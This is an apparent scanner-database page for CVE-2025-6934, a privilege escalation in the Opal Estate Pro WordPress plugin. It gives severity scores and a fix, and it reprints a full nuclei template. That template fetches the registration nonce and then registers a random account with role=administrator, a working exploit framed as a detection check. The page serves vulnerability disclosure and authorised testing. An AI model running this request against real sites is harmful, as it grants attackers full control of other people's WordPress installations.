CVE-2025-6934· themeforest / opal-estate-pro· CWE-269
The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
criticalseverity
9.8CVSS score
25.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
Impact
An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
Fix
Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
How to confirm it
Send: GET /
Positive when: contains "opalestate-register-nonce"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, 'status\":true') and status_code == 200Run it with nuclei: nuclei -id CVE-2025-6934 -u <target>
The full check
id: CVE-2025-6934
info:
name: The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
author: pussycat0x
severity: critical
description: |
The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
impact: |
An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
remediation: |
Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
reference:
- https://github.com/Nxploited/CVE-2025-6934/blob/main/README.md
- https://wordpress.org/plugins/opal-estate-pro/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6934
epss-score: 0.25367
epss-percentile: 0.97958
cwe-id: CWE-269
metadata:
verified: true
max-request: 2
vendor: themeforest
product: opal-estate-pro
publicwww-query: "/wp-content/plugins/opal-estate-pro/"
tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,opalestate,vuln
flow: http(1) && http(2)
variables:
username: "{{randstr}}"
password: "{{to_lower(rand_text_alpha(8))}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "opalestate-register-nonce"
internal: true
extractors:
- type: regex
group: 1
name: nonce
part: body
internal: true
regex:
- 'name="opalestate-register-nonce" value="([a-f0-9]+)"'
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&email={{email}}&password={{password}}&password1={{password}}&role=administrator&confirmed_register=on&opalestate-register-nonce={{nonce}}&_wp_http_referer=%2F&ajax=1&action=opalestate_register_form
matchers:
- type: dsl
dsl:
- contains(body, 'status\":true')
- status_code == 200
condition: andReferences
- https://github.com/Nxploited/CVE-2025-6934/blob/main/README.md
- https://wordpress.org/plugins/opal-estate-pro/
Use this check only on systems you are authorised to test. Where the data comes from